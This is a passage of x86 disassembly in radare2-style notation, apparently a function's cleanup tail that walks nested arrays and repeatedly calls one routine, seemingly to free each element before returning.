imul eax, dword [ebx]
jmp 0x530b25
mov ecx, eax
test ecx, ecx
je 0x530b5c
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.005a317f
add esp, 4
pop ebx
call fcn.005a317f
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x530b3a
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x530b82
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x530b7e
imul eax, dword [ebx]
jmp 0x530b73
mov ecx, eax
test ecx, ecx
je 0x530bd9
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x530ba0
push ebx
call fcn.005a317f
add esp, 4
pop ebx
add ebx, 0xc
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x530bb4
push ebx
call fcn.005a317f
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x530bc8
push ebx
call fcn.005a317f
add esp, 4
pop ebx
call fcn.005a317f
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x530b88
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x530bf1
push ebx
call fcn.005a317f
add esp, 4
mov esp, ebp
pop ebp
ret